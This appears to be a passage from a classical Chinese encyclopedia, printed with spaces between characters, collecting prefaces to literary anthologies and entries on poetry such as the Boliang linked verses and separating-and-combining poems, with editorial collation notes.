懿 . 平 阳 聪 理 . 式 荐 公 庭 . 或 登 宰 士 . 列 美 霸 朝 . 双 风 千 里 . 华 萼 之 茂 . 于 昭 不 已 .\n【 表 】 梁 简 文 帝 上 昭 明 太 子 集 别 传 等 表 曰 . 臣 闻 无 怀 有 巢 之 前 . 书 契 未 作 . 尊 卢 赫 胥 之 氏 . 坟 典 不 传 . 昭 明 太 子 . 禀 仁 圣 之 姿 . 纵 生 知 之 量 . 孝 敬 兼 极 . 温 恭 在 躬 . 明 月 西 流 . 幼 有 文 章 之 敏 . 羽 籥 东 序 . 长 备 元 良 之 德 . 蕴 兹 三 善 . 弘 此 四 聪 . 地 尊 虢 嗣 . 外 阳 之 术 无 徽 . ○ 昭 明 太 子 集 首 作 征 . 位 比 周 储 . 缑 山 之 驾 不 反 . 无 以 歈 扬 盛 轨 . 宣 记 德 音 . 请 备 之 延 阁 . 藏 诸 广 内 . 丞 彰 茂 实 . 式 表 洪 徽 .\n【 传 】 梁 江 淹 自 序 传 曰 . 淹 字 文 通 . 济 阳 考 成 人 . 为 建 安 吴 兴 令 . 地 在 东 南 峤 外 . 闽 越 之 旧 境 也 . 爰 有 碧 水 丹 山 . 珍 木 灵 草 . 皆 淹 平 生 所 至 爱 . 不 觉 行 路 之 远 也 . 山 中 无 事 . 专 与 道 书 为 偶 . 及 悠 然 独 往 . 或 日 夕 忘 归 . 放 浪 之 际 . 颇 着 文 章 自 娱 . 常 愿 卜 居 筑 宇 . 绝 弃 人 事 . 苑 以 丹 林 . 池 以 渌 水 . 左 倚 郊 甸 . 右 带 洒 泽 . 青 春 受 谢 . 则 梜 弋 平 皋 . 素 秋 澄 景 . 则 独 酌 虚 室 . 侍 姬 三 四 . 赵 女 数 人 . 不 则 逍 遥 经 纪 . 弹 琴 咏 诗 . 朝 露 几 闲 . 忽 忘 老 之 将 至 云 尔 . 淹 之 学 尽 此 而 已 矣 .\n【 论 】 宋 范 晔 宦 者 论 曰 . 宦 人 之 在 王 朝 者 . 其 来 旧 矣 . 将 以 其 体 非 全 气 . 意 志 专 良 . 通 关 中 人 . 易 以 役 养 乎 . 汉 仍 袭 秦 制 . 置 中 常 侍 官 . 然 引 用 士 人 . 以 参 其 选 . 皆 银 珰 左 貂 . 给 事 殿 省 . 中 兴 之 初 . 宦 者 悉 用 阉 人 . 不 复 杂 调 他 士 . 和 帝 即 祚 幼 弱 . 而 窦 宪 兄 弟 . 专 总 权 威 . 内 外 臣 僚 . 莫 由 亲 接 . 所 与 居 者 . 唯 阉 官 而 已 . 故 郑 众 得 专 谋 禁 中 . 终 除 大 憝 . 遂 享 分 王 之 封 . 超 登 公 卿 之 位 . 于 是 中 官 始 盛 焉 . 改 以 金 珰 右 貂 . 兼 领 卿 署 之 位 . 邓 后 以 女 主 临 政 . 而 万 机 殷 远 . 帷 幄 制 令 . 不 出 房 闱 之 闲 . 不 得 不 委 刑 人 . 寄 之 国 命 . 其 后 孙 程 定 立 顺 之 功 . 曹 腾 参 建 桓 之 策 . 迹 因 公 正 . 恩 固 主 心 . 故 中 外 服 从 . 上 下 屏 气 . 虽 时 有 忠 公 . 而 竞 见 排 斥 . 举 动 回 山 海 . 呼 吸 变 霜 露 . 阿 旨 曲 求 . 则 光 宠 三 族 . 直 情 忤 意 . 参 夷 五 宗 . 汉 之 纲 纪 大 乱 矣 .\n梁 沈 约 王 僧 达 颜 峻 传 论 曰 . 世 祖 弱 岁 临 蕃 . 游 道 未 旷\n. 披 胸 解 带 . 义 止 宾 僚 . 及 运 钟 倾 波 . 身 危 虑 切 . 擢 胆\n抽 肝 . 犹 患 言 未 尽 已 也 . 至 于 凭 玉 负 扆 . 威 行 万 物 . 有\n欲 必 从 . 事 无 暂 反 . 既 而 忧 欢 异 日 . 甘 苦 变 心 . 主 挟 今\n情 . 臣 追 昔 款 . 宋 昌 之 报 . 上 赏 已 行 . 同 舟 之 虑 . 下 望\n愈 结 . 嫌 怨 既 萌 . 诛 责 自 起 . 竣 之 取 衅 于 世 . 盖 由 此 乎\n. 为 人 臣 者 . 若 能 事 主 而 损 其 私 . 立 功 而 忘 其 报 . 虽 求\n颠 陷 . 不 可 得 也 .\n魏 陈 王 曹 植 文 章 序 曰 . 故 君 子 之 作 也 . 俨 乎 若 高 山 . 勃 乎 若 浮 云 . 质 素 也 如 秋 蓬 . 摛 藻 也 如 春 葩 . 汜 乎 洋 洋 . 光 乎 ● ● . 与 雅 颂 争 流 可 也 . 余 少 而 好 赋 . 其 所 尚 也 . 雅 好 慷 慨 . 所 着 繁 多 . 虽 触 类 而 作 . 然 芜 秽 者 众 . 故 删 定 别 撰 . 为 前 录 七 十 八 篇 .\n梁 昭 明 太 子 文 选 序 曰 . 夫 椎 轮 为 大 路 之 始 . 大 路 宁 有 椎 轮 之 质 . 增 冰 为 积 水 所 成 . 积 水 微 增 冰 之 凛 . 何 哉 . 盖 有 踵 其 事 而 增 华 . 变 其 本 而 加 丽 . 物 既 有 之 . 文 亦 宜 然 . 随 时 变 改 . 难 可 详 悉 . 众 制 锋 起 . 源 流 闲 出 . 譬 陶 匏 异 品 . 并 为 入 耳 之 娱 . 黼 黻 不 同 . 俱 为 悦 目 之 玩 . 作 者 之 致 . 盖 云 备 矣 .\n梁 简 文 帝 临 安 公 主 集 序 曰 . 四 德 之 美 . 戚 里 仰 以 为 风 . 七 行 之 奇 . 濯 龙 规 以 为 则 . 若 夫 托 句 陈 之 贵 . 出 玉 台 之 尊 . 凤 仪 闲 润 . 神 姿 照 朗 . 爱 敬 之 道 夙 彰 . 柔 娴 之 才 必 备 . 凤 桐 遐 远 . 清 管 辽 亮 . 湘 川 寂 寞 . 泪 篠 葳 蕤 . 北 渚 之 句 尚 传 . 仙 灵 之 典 不 泯 . 况 复 文 同 积 玉 . 韵 比 风 飞 . 谨 求 散 逸 . 贻 厥 于 后 .\n梁 元 帝 职 贡 图 序 曰 . 窃 闻 职 方 氏 掌 天 下 之 图 . 四 夷 八 蛮 . 七 闽 九 貉 . 其 所 由 来 久 矣 . 汉 氏 以 来 . 南 羌 旅 距 . 西 域 凭 陵 . 创 金 城 . 开 玉 关 . 绝 夜 郎 . 讨 日 逐 . 睹 犀 申 则 建 朱 崖 . 闻 蒲 陶 则 通 大 宛 . 以 德 怀 远 . 异 乎 是 哉 . 皇 帝 君 临 天 下 之 四 十 载 . 垂 衣 裳 而 赖 兆 民 . 坐 岩 廊 而 彰 万 国 . 梯 山 航 海 . 交 臂 屈 膝 . 占 云 望 日 . 重 译 至 焉 . 自 塞 以 西 . 万 八 千 里 . 路 之 峡 者 . 尺 有 六 寸 . 高 山 寻 云 . 深 谷 绝 景 . 雪 无 冬 夏 . 与 白 云 而 共 色 . 水 无 早 晚 . 与 素 石 而 俱 贞 . 逾 空 桑 而 历 昆 吾 . 度 青 丘 而 跨 丹 穴 . 灾 风 弱 水 . 不 革 其 心 . 身 热 头 痛 . 不 改 其 节 . 故 以 明 珠 翠 羽 之 珍 . 细 而 弗 有 . 龙 文 汗 血 之 骥 . 却 而 不 乘 . 尼 丘 乃 圣 . 犹 有 图 人 之 法 . 晋 帝 君 临 . 寔 闻 乐 贤 之 象 . 甘 泉 写 阏 氏 之 形 . 后 宫 玩 单 于 之 图 . 臣 以 不 佞 . 推 毂 上 游 . 夷 歌 成 章 . 胡 人 遥 集 . 款 开 蹶 角 . 沿 溯 荆 门 . 瞻 其 容 貌 . 诉 其 风 俗 . 如 有 来 朝 京 辇 . 不 涉 汉 南 . 别 加 访 采 . 以 广 闻 见 . 名 为 贡 职 图 云 尔 .\n梁 任 昉 齐 王 俭 集 序 曰 . 公 之 生 也 . 诞 授 命 世 . 体 三 才 之 茂 . 践 得 二 之 机 . 信 乃 昴 宿 垂 芒 . 德 精 降 祉 . 有 一 于 此 . 蔚 为 帝 师 . 若 乃 金 版 玉 匮 之 书 . 海 上 名 山 之 旨 . 沉 郁 澹 雅 之 思 . 离 坚 合 异 之 谈 . 莫 不 总 制 清 衷 . 递 为 心 极 . 斯 固 通 人 之 所 包 . 非 虚 明 之 绝 境 . 不 可 穷 者 . 其 唯 神 用 者 乎 . 时 司 徒 袁 粲 . 有 高 世 之 度 . 脱 落 风 尘 . 见 公 弱 龄 . 便 望 风 推 服 . 叹 曰 . 衣 冠 礼 乐 . 尽 在 是 矣 . 时 粲 位 亚 台 司 . 公 始 弱 冠 . 年 势 不 侔 . 公 与 之 抗 礼 . 因 赠 粲 诗 . 要 以 岁 暮 之 期 . 申 以 止 足 之 诫 . 时 圣 武 定 业 . 肇 基 王 命 . 寤 寐 风 云 . 寔 资 人 杰 . 是 以 宸 居 膺 列 宿 之 表 . 图 纬 着 王 佐 之 符 . 俄 迁 长 史 . 齐 台 既 建 . 以 公 为 尚 书 右 仆 射 . 领 吏 部 . 时 年 二 十 八 . 宋 末 艰 虞 . 百 王 浇 季 . 礼 紊 旧 宗 . 乐 倾 恒 轨 . 自 朝 章 国 纪 . 典 彝 备 物 . 奏 议 符 策 . 文 辞 表 记 . 素 意 所 不 蓄 . 前 古 所 未 行 . 皆 取 定 俄 顷 . 神 无 滞 用 . 公 在 物 斯 厚 . 居 身 以 约 . 玩 好 绝 于 耳 目 . 布 素 形 于 造 次 . 室 无 姬 姜 . 门 多 长 者 . 立 言 必 雅 . 未 尝 显 其 所 长 . 持 论 从 容 . 未 尝 言 人 所 短 . 弘 奖 风 流 . 许 与 气 类 . 造 理 常 若 可 干 . 临 事 每 不 可 夺 . 约 己 不 以 庶 物 . 弘 量 不 以 容 非 . 攻 乎 异 端 . 归 之 义 正 . 昉 行 无 异 操 . 才 无 异 能 . 得 奉 名 节 . 迄 将 一 纪 . 一 言 之 誉 . 东 陵 侔 于 西 山 . 一 眄 之 荣 . 郑 璞 逾 于 周 宝 . 士 感 知 己 . 怀 此 何 极 . 出 入 礼 闱 . 朝 夕 旧 馆 . 瞻 栋 宇 而 兴 慕 . 抚 身 名 而 悼 恩 . 公 自 幼 及 长 . 述 作 不 倦 . 固 以 理 穷 言 行 . 事 该 军 国 . 岂 直 雕 章 缛 采 而 已 哉 .\n梁 王 僧 孺 临 海 伏 府 君 集 序 曰 . 袁 粲 领 袖 一 时 . 仪 形 物 右 . 声 逾 裴 乐 . 誉 出 王 刘 . 士 有 怀 道 蕴 义 . 望 尘 而 趋 者 . 或 三 年 而 未 识 . 乍 四 旬 而 一 见 . 与 君 道 合 神 遇 . 投 分 披 衿 . 敷 文 研 理 . 匪 晨 伊 暮 . 至 于 神 经 怪 谍 . 绿 笥 丹 筒 . 金 版 玉 箱 . 锦 文 缇 帙 . 并 藏 诸 灵 府 . 秘 在 瑶 台 . 而 君 莫 不 遍 探 冥 赜 . 具 阅 局 检 . 常 以 前 贤 往 学 . 亟 与 圣 违 . 贾 马 卢 郑 . 非 无 纰 越 . 荀 郭 何 王 . 弥 多 踳 谬 . 二 义 可 辨 . 未 值 高 卿 之 疑 . 九 事 非 难 . 不 逢 五 叔 之 问 . 其 诗 赋 铭 诔 . 所 作 尤 多 .\n又 詹 事 徐 府 君 集 序 曰 . 君 禀 灵 川 岳 . 悬 精 辰 象 . 早 照 珪 璋 . 夙 表 岐 嶷 . 孝 睦 天 禀 . 友 爱 冥 深 . 故 以 事 显 家 庭 . 声 着 同 族 . 年 十 八 . 见 召 为 国 子 生 . 曳 裾 持 卷 . 寔 华 庠 璧 . 有 均 闭 户 . 靡 因 余 灶 . 每 摄 齐 函 丈 . 左 右 属 目 . 蓄 以 邻 几 之 性 . 加 以 入 神 之 资 . 闻 一 知 二 . 师 逸 功 倍 . 游 魏 阙 而 不 殊 江 海 . 入 朝 廷 而 靡 异 山 林 . 未 尝 捉 刺 权 门 . 驱 车 戚 里 . 遨 游 梁 董 . 去 来 贾 郭 . 时 春 秋 犹 少 . 人 爵 未 崇 . 而 清 风 嘉 誉 . 震 灼 朝 野 . 非 直 俯 致 贵 仕 . 故 可 坐 享 通 侯 . 而 马 悬 车 . ● 门 高 枕 . 聊 为 诡 遇 . 识 此 行 藏 . 及 皇 运 聿 兴 . 重 氛 载 廓 . 君 藏 器 待 时 . 合 犹 符 契 . 陵 扶 摇 而 高 骛 . 排 阊 阖 而 容 与 . 故 位 随 德 显 . 任 与 事 隆 . 重 以 姿 仪 端 润 . 趋 眄 淹 华 . 宝 佩 鸣 风 . 丰 貂 映 日 . 从 容 帷 扆 . 绰 有 余 辉 . 自 绸 缪 轩 陛 . 十 有 余 载 . 温 树 靡 答 . 露 事 不 酬 . 省 中 之 言 无 漏 . 席 下 之 迹 不 疑 . 故 以 主 圣 臣 贤 . 应 同 廛 玺 . 以 石 投 水 . 如 鳞 纵 壑 . 行 称 表 缀 . 言 成 模 楷 . 犹 复 忘 彼 丰 愉 . 安 兹 素 薄 . 衣 同 屡 补 . 食 等 三 杯 . 车 服 不 事 鲜 明 . 室 宇 畏 其 雕 奂 . 九 德 无 遗 . 百 行 备 举 . 至 于 专 心 六 典 . 精 赜 必 深 . 泛 游 群 籍 . 菁 华 无 弃 . 搦 札 含 毫 . 必 弘 靡 丽 . 摛 绮 縠 之 思 . 郁 风 霞 之 情 . 质 不 伤 文 . 丽 而 有 体 .\n陈 刘 师 知 侍 中 沈 府 君 序 集 曰 . 陈 亢 有 云 . 趋 庭 学 诗 . 又 闻 君 子 毛 苌 亦 曰 . 登 高 能 赋 . 可 为 大 夫 . 言 其 善 观 民 风 . 则 与 图 王 政 . 若 沈 恭 子 者 . 斯 乃 当 世 才 焉 . 至 如 敦 厚 之 词 . 足 以 吟 咏 情 性 . 身 之 文 也 . 贞 固 之 节 . 可 以 宣 被 股 肱 . 邦 之 光 也 . 然 此 者 君 之 小 道 . 犹 曰 余 行 . 何 则 . 德 之 所 本 . 教 之 所 由 . 实 乃 孝 笃 天 伦 . 义 感 殊 类 . 有 美 于 斯 . 郁 为 高 士 . 则 余 与 夫 子 . 古 所 谓 世 亲 者 欤 . 亦 所 谓 友 益 者 欤 . 畴 昔 一 面 . 朅 来 二 纪 . 自 总 角 而 接 清 尘 . 蒙 长 者 之 嘉 釂 . 屯 险 骤 更 . 欢 娱 中 阻 . 班 超 既 反 . 盛 宪 犹 存 . 春 秋 美 景 . 朝 游 夕 宴 . 酒 酣 得 意 . 赋 诗 联 章 . 顾 余 不 肖 . 齿 义 悬 绝 . 降 德 忘 年 . 交 情 弥 至 . 增 荣 广 价 . 知 己 难 忘 . 南 浦 之 送 未 淹 . 北 印 之 辞 仍 及 . 于 时 属 有 烽 燧 . 方 勤 帷 扆 . 遂 使 褐 裘 莫 计 . 宝 剑 无 追 . 痛 此 生 刍 . 同 兹 宿 草 . 九 原 方 远 . 百 身 宁 购 . 若 乃 帐 悬 秋 月 . 一 雁 孤 飞 . 落 花 春 风 . 数 鹦 争 弄 . 伯 牙 之 弦 . 寂 寥 长 绝 . 山 阳 之 管 . 惆 怅 徒 闻 . 夫 盛 烈 清 徽 . 便 传 乎 帝 载 . 遗 文 余 论 . 被 在 乎 民 谣 者 . 斯 所 以 没 而 犹 彰 . 死 且 不 朽 . 今 乃 撰 西 还 所 着 文 章 . 名 为 后 集 .\n陈 徐 陵 玉 台 新 咏 序 曰 . 陵 云 概 日 . 由 余 之 所 未 窥 . 千 门 万 户 . 张 衡 之 所 曾 赋 . 周 王 璧 台 之 上 . 汉 帝 金 屋 之 中 . 玉 树 以 珊 瑚 作 枝 . 珠 帘 以 玳 瑁 为 押 . 其 中 有 丽 人 焉 . 其 人 也 五 陵 豪 族 . 充 选 掖 庭 . 四 姓 良 家 . 驰 名 永 巷 . 说 诗 明 礼 . 岂 东 邻 之 自 媒 . 婉 约 风 流 . 异 西 施 之 被 教 . 兄 弟 协 律 . 生 小 学 歌 . 少 长 河 阳 . 由 来 能 舞 . 琵 琶 新 曲 . 无 待 石 崇 . 箜 篌 杂 句 . 非 关 曹 植 . 传 鼓 瑟 于 杨 家 . 得 吹 箫 于 秦 女 . 宠 闻 长 乐 . 陈 后 知 而 不 平 . 画 出 天 仙 . 阏 氏 览 而 遥 妒 . 陪 游 馺 娑 . 骋 纤 腰 于 结 风 . 张 乐 鸳 鸾 . 奏 新 声 于 度 曲 . 装 鸣 蝉 之 薄 鬓 . 照 堕 马 之 垂 鬟 . 反 插 金 莲 . 横 抽 宝 树 . 南 都 石 黛 . 最 发 双 娥 . 北 地 燕 脂 . 偏 开 两 靥 . 亦 有 岭 上 仙 童 . 分 丸 魏 帝 . 腰 中 宝 凤 . 授 历 轩 辕 . 金 星 与 婺 女 争 华 . 麝 月 与 姮 娥 竞 爽 . 惊 鸾 冶 袖 . 时 飘 韩 掾 之 香 . 飞 燕 长 裙 . 宜 结 陈 王 之 佩 . 虽 非 图 画 . 入 甘 泉 而 不 分 . 言 异 神 仙 . 戏 阳 台 而 无 别 . 加 以 天 情 开 朗 . 逸 思 雕 华 . 妙 解 文 章 . 尤 工 诗 赋 . 清 文 满 箧 . 非 唯 芍 药 之 花 . 新 制 连 篇 . 宁 止 蒲 桃 之 树 . 九 月 登 高 . 时 有 缘 情 之 作 . 万 年 公 主 . 非 无 累 德 之 词 . 既 而 椒 房 婉 转 . 柘 馆 阴 岑 . 木 鹤 晨 严 . 铜 梁 昼 靖 . 优 游 少 托 . 寂 寞 多 闲 . 厌 长 乐 之 疏 钟 . 劳 中 宫 之 缓 箭 . 身 轻 无 力 . 怯 南 阳 之 捣 衣 . 生 长 深 宫 . 笑 扶 风 之 织 锦 . 虽 复 投 壶 玉 女 . 为 欢 尽 于 百 娇 . 争 博 齐 姬 . 心 赏 穷 于 六 着 . 无 怡 神 于 暇 景 . 唯 属 意 于 新 诗 . 但 往 世 名 篇 . 当 今 巧 制 . 分 封 麟 阁 . 散 在 鸿 都 . 不 籍 连 章 . 无 由 披 览 . 于 是 燃 脂 暝 写 . 弄 墨 晨 书 . 撰 录 艳 歌 . 凡 为 十 卷 . 曾 无 参 于 雅 颂 . 亦 靡 滥 于 风 人 . 泾 渭 之 闲 . 若 斯 而 已 也 . 至 如 青 牛 帐 里 . 余 曲 未 终 . 朱 鸟 窗 前 . 新 妆 已 竟 . 方 当 开 兹 缥 帙 . 散 此 绦 绳 . 永 对 玩 于 书 帷 . 长 循 环 于 纤 丰 .\n隋 江 总 陶 贞 白 先 生 集 序 曰 . 昔 刘 向 通 古 今 之 学 . 马 融 见 天 下 之 书 . 京 房 察 风 雨 之 占 . 裴 ○ 按 下 云 公 矩 才 免 极 诛 . 襄 楷 字 公 矩 . 是 裴 当 作 襄 . 楷 晓 阴 阳 之 术 . 子 政 伤 于 简 易 . 季 长 敝 于 骄 侈 . 君 明 遂 不 旋 踵 . 公 矩 才 免 极 诛 . 鲜 有 尽 美 之 迹 . 罕 闻 克 终 之 誉 . 若 夫 德 行 博 敏 . 孔 室 四 科 . 经 术 深 长 . 郑 门 六 艺 . 丹 阳 陶 先 生 备 斯 矣 . 至 如 紫 台 青 简 . 绿 帙 丹 经 . 玉 版 秘 文 . 瑶 坛 怪 牒 . 靡 不 贯 彼 精 微 . 殚 其 旨 趣 . 盖 非 常 之 绝 伎 . 命 世 之 异 人 焉 . 文 集 缺 亡 . 未 有 编 录 . 门 人 补 辑 . 若 逢 辽 东 之 本 . 好 事 研 搜 . 如 诵 河 西 之 箧 . 奉 敕 校 之 铅 墨 . 缄 以 缇 缃 . 藏 彼 鸿 都 . 副 在 延 阁 .\n周 庾 信 赵 国 公 集 序 曰 . 窃 闻 平 阳 击 石 . 山 谷 为 之 调 .\n大 禹 吹 筠 . 风 云 为 之 动 . 与 夫 含 吐 性 灵 . 抑 扬 词 气 . 曲\n变 阳 春 . 光 回 白 日 . 岂 得 同 年 而 语 哉 . 柱 国 公 发 言 为 论\n. 下 笔 成 章 . 逸 态 横 生 . 新 情 掞 起 . 风 雨 争 飞 . 鱼 龙 各\n变 . 方 之 珪 璧 . 涂 山 之 会 万 重 . 譬 似 云 霞 . 赤 城 之 岩 千\n丈 . 文 参 历 象 . 即 入 天 官 之 书 . 韵 涉 丝 桐 . 咸 归 总 章 之\n观 . 论 其 壮 也 . 则 鹏 起 半 天 . 语 其 细 也 . 则 鹪 巢 蚊 睫 .\n岂 直 熊 熊 旦 上 . 增 城 抱 日 月 之 光 . 焰 焰 霄 飞 . 南 斗 触 蛟\n龙 之 气 . 昔 者 屈 原 宋 玉 . 始 于 哀 怨 之 深 . 苏 武 李 陵 . 生\n于 别 离 之 世 . 自 魏 建 安 之 末 . 晋 太 康 以 来 . 雕 虫 篆 刻 .\n其 体 三 变 . 人 人 自 谓 握 灵 蛇 之 珠 . 抱 荆 山 之 玉 矣 . 公 斟\n酌 雅 颂 . 谐 和 律 吕 . 若 使 言 乖 节 目 . 则 曲 台 不 顾 . 声 止\n操 缦 . 则 成 均 无 取 . 遂 得 栋 梁 文 囿 . 冠 冕 词 林 . 大 雅 扶\n轮 . 小 生 承 盖 .\n春 秋 说 题 辞 曰 . 在 事 为 诗 . 未 发 为 谋 .\n汉 书 曰 . 诵 其 言 谓 之 诗 .\n文 章 流 别 论 曰 . 书 云 . 诗 言 志 . 歌 永 言 . 言 其 志 谓 之 诗 . 古 有 采 诗 之 官 . 王 者 以 知 得 失 . 史 记 曰 . 古 诗 三 千 余 篇 . 孔 子 删 取 三 百 五 篇 . 皆 弦 歌 . 以 合 韶 武 之 音 .\n左 传 曰 . 昔 周 穆 王 欲 肆 其 心 . 周 行 天 下 . 将 必 有 车 辙 马 迹 . 祭 公 谋 父 . 作 祈 招 以 止 王 心 . 其 诗 曰 . 祈 招 之 愔 愔 . 式 招 德 音 . 思 我 王 度 . 式 如 玉 . 式 如 金 .\n论 语 曰 . 小 子 何 莫 学 夫 诗 . 诗 可 以 兴 . 可 以 观 . 可 以 群 . 可 以 怨 . 迩 之 事 父 . 远 之 事 君 . 多 识 于 鸟 兽 草 木 之 名 .\n诗 纬 含 神 雾 曰 . 诗 者 . 天 地 之 心 . 君 德 之 祖 . 百 福 之 宗 . 万 物 之 户 也 .\n穆 天 子 传 曰 . 至 于 黄 竹 . 天 子 乃 休 . 日 中 大 寒 . 北 风 雨 雪 . 天 子 作 诗 我 徂 黄 竹 三 章 . 以 哀 民 .\n汉 武 帝 集 曰 . 奉 车 子 集 ○ 太 平 御 览 五 百 九 十 二 作 侯 . 暴 病 . 一 日 死 . 上 甚 悼 之 . 乃 自 为 歌 诗 .\n列 子 曰 . 尧 微 服 游 于 康 衢 . 闻 儿 童 谣 曰 . 立 我 蒸 民 . 莫 匪 尔 极 . 不 识 不 知 . 顺 帝 之 则 . 尧 问 曰 . 孰 教 尔 为 此 言 . 童 儿 曰 . 我 闻 之 大 夫 . 问 大 夫 . 大 夫 曰 . 古 诗 .\n汉 书 曰 . 匡 衡 . 字 稚 珪 . 好 学 . 家 贫 . 佣 作 以 供 资 用 . 尤 精 诗 . 力 过 绝 人 . 诸 儒 为 之 语 曰 . 无 说 诗 . 匡 鼎 来 . 应 劭 曰 . 鼎 . 方 也 . 张 晏 曰 . 匡 衡 少 时 字 鼎 . 匡 说 诗 . 解 人 颐 .\n又 曰 . 益 州 刺 史 王 襄 . 欲 宣 风 化 众 庶 . 闻 王 褒 有 俊 才 . 使 褒 作 中 和 乐 职 宣 布 诗 . 选 好 事 者 习 而 歌 之 . 时 汜 乡 侯 何 武 为 童 子 . 选 在 歌 中 . 久 之 . 武 等 学 长 安 . 歌 大 学 下 . 转 而 上 闻 . 宣 帝 召 武 等 观 之 . 皆 赐 帛 . 谓 曰 . 此 盛 德 之 事 . 吾 何 足 以 当 之 .\n又 曰 . 古 者 诸 侯 卿 大 夫 . 交 接 邻 国 . 以 微 言 相 感 . 当 揖 让 之 时 . 必 称 诗 以 喻 其 志 . 盖 以 别 贤 不 肖 而 观 盛 衰 . 故 孔 子 曰 . 不 学 诗 无 以 言 也 .\n赵 书 曰 . 徐 光 . 字 季 武 . 顿 丘 人 . 年 十 四 五 . 为 将 军 王 阳 秣 马 . 光 但 书 马 柳 ○ 太 平 御 览 五 百 八 十 六 作 . 此 讹 . 屋 柱 为 诗 . 不 亲 马 事 .\n世 说 曰 . 夏 侯 湛 作 周 诗 成 . 以 示 潘 岳 . 曰 . 此 文 非 徒 温 雅 . 乃 别 见 孝 悌 之 性 . 潘 因 此 遂 作 家 风 诗 .\n又 曰 . 郭 景 纯 诗 云 . 林 无 静 树 . 川 无 停 流 . 阮 遥 集 云 . 泓 峥 箫 瑟 . 实 不 可 言 . 每 读 此 . 辄 觉 神 超 形 越 .\n汉 孝 武 皇 帝 元 封 三 年 作 柏 梁 台 . 诏 群 臣 二 千 石 . 有 能 为 七 言 者 . 乃 得 上 坐 . 皇 帝 曰 . 日 月 星 辰 和 四 时 . 梁 王 曰 . 骖 驾 驷 马 从 梁 来 . 大 司 马 曰 . 郡 国 士 马 羽 林 才 . 丞 相 曰 . 总 领 天 下 诚 难 治 . 大 将 军 曰 . 和 抚 四 夷 不 易 哉 . 御 史 大 夫 曰 . 刀 笔 之 吏 臣 执 之 . 太 常 曰 . 撞 钟 击 鼓 声 中 诗 . 宗 正 曰 . 宗 室 广 大 日 益 滋 . 卫 尉 曰 . 周 卫 交 戟 禁 不 时 . 光 禄 勋 曰 . 总 领 从 官 柏 梁 台 . 廷 尉 曰 . 平 理 请 谳 决 嫌 疑 . 太 仆 曰 . 循 饰 舆 马 待 驾 来 . 大 鸿 胪 曰 . 郡 国 吏 功 差 次 之 . 少 府 曰 . 乘 舆 御 物 主 治 之 . 大 司 农 曰 . 陈 粟 万 硕 杨 以 箕 . 执 金 吾 曰 . 徼 道 宫 下 随 讨 治 . 左 冯 翊 曰 . 三 辅 盗 贼 天 下 尤 . 右 扶 风 曰 . 盗 阻 南 山 为 民 灾 . 京 兆 尹 曰 . 外 家 公 主 不 可 治 . 詹 事 曰 . 椒 房 率 更 领 其 财 . 典 属 国 曰 . 蛮 夷 朝 贺 常 会 期 . 大 匠 曰 . 柱 枅 薄 栌 相 枝 持 . 太 官 令 曰 . 枇 杷 橘 栗 桃 李 梅 . 上 林 令 曰 . 走 狗 逐 兔 张 罝 罘 . 郭 舍 人 曰 . 啮 妃 女 唇 甘 如 饴 . 东 方 朔 曰 . 迫 窘 诘 屈 几 穷 哉 .\n宋 孝 武 帝 华 林 都 亭 曲 水 联 句 效 柏 梁 体 . 九 宫 盛 事 予 旒 纩 . 宋 孝 武 帝 . 三 辅 务 根 诚 难 亮 . 杨 州 刺 史 江 夏 王 臣 义 恭 . 策 拙 枌 乡 惭 恩 望 . 南 徐 州 刺 史 竟 陵 王 臣 诞 . 折 衡 莫 效 兴 民 谤 . 领 军 将 军 臣 元 景 . 侍 禁 卫 储 恩 逾 量 . 太 子 右 率 臣 畅 . 臣 谬 叨 宠 九 流 旷 . 吏 部 尚 书 臣 庄 . 喉 唇 废 职 方 思 让 . 侍 中 臣 偃 . 明 笔 直 绳 天 威 谅 . 御 史 中 丞 臣 颜 师 伯 .\n梁 武 帝 清 暑 殿 联 句 柏 梁 体 . 居 中 负 扆 寄 缨 绂 . 梁 武 帝 . 言 惭 辐 凑 政 无 术 . 新 安 太 守 任 昉 . 至 德 无 恨 愧 违 弼 . 侍 中 徐 勉 . 燮 赞 京 河 岂 微 物 . 丹 阳 丞 刘 泛 . 窃 侍 两 宫 惭 枢 密 . 黄 门 侍 郎 柳 . 清 通 简 要 臣 岂 汨 . 吏 部 郎 中 谢 览 . 出 入 帷 扆 滥 荣 秩 . 侍 中 张 卷 . 复 道 龙 楼 歌 楙 实 . 太 子 中 庶 子 王 峻 . 空 班 独 坐 惭 羊 质 . 御 史 中 丞 陆 果 . ○ 按 当 作 杲 . 嗣 以 书 记 臣 敢 匹 . 右 军 主 簿 陆 倕 . 谬 参 和 鼎 讲 画 一 . 司 徒 主 簿 刘 洽 . 鼎 味 参 和 臣 多 匮 . 司 徒 左 西 属 江 葺 .\n梁 元 帝 宴 清 言 殿 作 柏 梁 体 . 玉 衡 七 政 转 璇 玑 . 梁 元 帝 . 升 降 端 揆 而 才 非 . 侍 中 尚 书 仆 射 臣 裒 . 澄 镜 朱 紫 眇 难 追 . 吏 部 尚 书 臣 谷 .\n后 汉 孔 融 离 合 诗 . 郡 姓 名 诗 曰 . 渔 父 屈 节 . 水 潜 匿 方 . 与 时 进 止 . 出 行 施 张 . 吕 公 饥 钓 . 阖 口 渭 旁 . 九 域 有 圣 . 无 土 不 王 . 好 是 正 直 . 女 固 予 匡 . 海 外 有 截 . 隼 逝 鹰 扬 . 六 翮 不 奋 . 羽 仪 未 彰 . 龙 蛇 之 蛰 . 俾 也 可 忘 . 玖 琁 隐 曜 . 美 玉 韬 光 . 无 名 ○ 二 字 原 脱 . 据 冯 校 本 补 . 无 誉 . 放 言 深 藏 . 按 辔 安 行 . 谁 谓 路 长 . 鲁 国 孔 融 文 举 .\n梁 元 帝 离 合 诗 曰 . 泬 寥 云 物 净 . 水 木 备 春 光 . 龛 定 方 无 远 . 合 浦 不 难 航 . ○ 原 讹 抗 . 据 冯 校 本 改 . 宠 .\n梁 萧 巡 离 合 诗 . 赠 尚 书 令 何 敬 容 曰 . 枝 能 本 无 取 . 支 叶 复 单 贫 . 柯 条 谬 承 日 . 木 石 岂 知 晨 . 狗 马 诚 难 尽 . 犬 羊 非 赐 驯 . 效 颦 既 不 似 . 学 步 孰 能 真 . 寔 由 紊 朝 典 . 是 曰 蠹 彝 伦 . 俗 化 于 兹 鄙 . 人 涂 自 此 分 .\n陈 沈 炯 离 合 诗 . 赠 江 藻 曰 . 开 门 枕 芳 野 . 井 上 发 红 桃 . 林 中 藤 茑 ○ 原 讹 ● . 据 冯 本 改 . 秀 . 木 末 风 云 高 . 屋 室 何 寥 廓 . 志 士 隐 蓬 蒿 . 故 知 人 外 赏 . 文 酒 易 陶 陶 . 